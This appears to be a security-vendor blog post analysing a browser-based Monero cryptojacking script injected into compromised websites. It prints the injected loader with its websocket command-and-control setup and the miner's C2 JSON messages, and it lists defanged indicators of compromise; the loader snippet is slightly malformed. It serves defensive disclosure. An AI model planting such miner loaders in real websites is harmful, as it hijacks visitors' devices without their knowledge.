Compromised websites serving up Crypto-miner.

Nokia Threat Intelligence Lab

April 2018

In late March, Nokia's Threat Intelligence Lab became aware of a new browser-based Monero crypto-currency miner, originally identified by its authors as RiceWithChicken, which was being served up by otherwise benign websites. The miner is written in JavaScript and runs in the web-browser, and as such, can run on most modern computing devices, including iPhones, iPads, Android phones, as well as Windows PCs.

Monitoring the network traffic associated with this threat shows that thousands of devices in America are visiting these compromised websites each week and contributing their CPU power to enriching the operators of this Monero mining operation.

RiceWithChicken is a modified version of CoinHive – a commercial Monero crypto-currency mining service that offers to help monetize websites for their owners. Whilst CoinHive clearly advertises its presence on websites, RiceWithChicken performs its mining operations without the permission of the website owner, nor the knowledge of the visitors to that website.
Why mine for Monero?

Bitcoin is no longer economically feasible to be mined on a personal computer and is typically done on specialized equipment in locations where cheap electricity is available. Monero, on the other hand, can still be economically mined on regular computer hardware – and as RiceWithChicken demonstrates, even with a script running in a browser.

But more importantly, if one has chosen to mine cryptocurrency illegally using other people's hardware, mining for Monero has other advantages – it is untraceable and individual coins cannot be 'blacklisted' if used in a questionable transaction. This makes the currency very popular for transactions of dubious ethics and legality.

Although Monero is not as well-known as Bitcoin, as a money system it has a market capitalization in excess of $3 Billion USD as of the writing of this blog post.

Compromised websites

Links to the RiceWithChicken coin miner have been placed onto many compromised websites, typically in a poorly secured JavaScript file. In many cases, multiple copies of this link are injected into the same file, likely due to the usage of automated toolsets by those responsible. In the example below, a copy of a jQuery library was the scene of the code injection.
The added code appends an iFrame element to the displayed webpage in which to display a malicious HTML document that will configure and then run the coin miner. Other infected sites have had a zero-sized iFrame added directly to the middle of an HTML file.

Initial versions of this malicious web site identified the included script as 'ricewithchicken.js", but newer versions are identified as "jquery-3.3.1.min.js", in an attempt to disguise it as a commonly used JavaScript package.

The second script on the page sets the Command and Control site for socket-based communications, instantiates the miner with the site key, "winner winner chicken dinner", then starts the mining operations. The Command and control socket is running on the same server as the malicious HTML document serving up the coin-miner, just on a different port (in this case port TCP/8895).

```
<script src="https://www.jsdelivr.com/1.3.1.min.js"></script>
<script>
const CONFIG_WEBSOCKET_SERVERS = [{"ws://www.jsdelivr.com:8895/proxy"}];
var ebfebed3ddbc = new ElectricFence.Windows("winner winner chicken dinner");
ebfebed3ddbc.start();
</script>
```

The user surfing to the compromised website will not be aware of this activity going on in the background. They will be able to continue to browse the site's content without issues, other than experiencing significantly poorer performance on their device.

Because this is a browser-based threat, the impact will be felt regardless of what type of device is being used to browse to the site. Just switching to another browser tab will reduce the CPU impact by as much as 50%, but leave the script running in the original tab until it is closed.

In the case of Windows computers, the impact is best viewed with the task manager performance utility. Within seconds of visiting the compromised website, the computer CPU utilization will quickly reach 100%.
Examining the script

The RiceWithChicken script itself is encoded in base64 and decoded with the JavaScript method atob(). Decoding it is just a matter of outputting the result of the atob() function to the console using console.log then cutting and pasting the results into one of the many script beautifiers found on the internet.

The script has three key components:

- The Main script, which handles the initialization and communications for the miner and has the other two components embedded within it.
- A web-assembly module (WASM - compiled code that executes in the web-browser) that implements the CryptoNight, proof-of-work algorithm used for the Monero coin mining. This module is contained in a large array of integers in the range of 0-255.
- An additional JavaScript, embedded within a text string in the main script, that contains various conversion and interface routines for the CryptoNight module.
Communications

As soon as the RiceWithChicken executes, it establishes an SSL encrypted, socket style connection to the server. This socket is a bi-directional command and control channel, with instructions being passed in JSON format.

The script initiates communication by sending an "auth" transaction, containing the site_key, to the server of the form:

```
{"type":"auth","params":{"version":7,"site_key":"winner winner chicken dinner","type":"anonymous","user":null,"goal":0}}
```

Once it is successfully authorized, it will start to receive job transactions from the command and control server:

```
{"params": {"coin": "", "job_id": "730992889194749000", "blob": "0100b0b4ced60558199df0a2a495897b6e2aa8efb82465fb50999675d6ff1576b890a1d50c0d62000000000de2a8b254b0414ea928b6ee3eecc032fd2bf265718a943b58fb9ad88121840d01", "variant": -1, "target": "dc460300"}, "type": "job"}
```

If the script is successful in its mining job, it will respond with a "found" transaction;

```
{"type":"found",
 "params":{"hashesPerSecond":9.0452261306955598,"hashes":9,"job_id":"730992889194749000","nonce":"146eabf0","result":"90a65a2b3cc04fa39461de38a65fb3b969f7b0c4ad4e6aba7640c34eb6f0100"}}
```
Removal of this threat from your device:

Since this threat runs in the web-browser, it is never actually installed on your device. Closing your web-browser, or all your web-browser tabs, will stop the execution of the mining script and allow CPU utilization to return to normal.

Indicators of compromise:

<table>
<thead>
<tr>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>IP</td>
<td>185[.]234[.]216[.]52</td>
</tr>
<tr>
<td>DNS</td>
<td>www[.]jqcdn[.]download</td>
</tr>
<tr>
<td>DNS</td>
<td>www[.]jqwww[.]download</td>
</tr>
<tr>
<td>DNS</td>
<td>www[.]datasecu[.]download</td>
</tr>
<tr>
<td>DNS</td>
<td>www[.]jqassets[.]download</td>
</tr>
<tr>
<td>MD5</td>
<td>0a6b2a86bef56a41c7c4a1da3100bf72</td>
</tr>
<tr>
<td>MD5</td>
<td>c00b0c31a4b191ee034f1bd3fa8671ac</td>
</tr>
</tbody>
</table>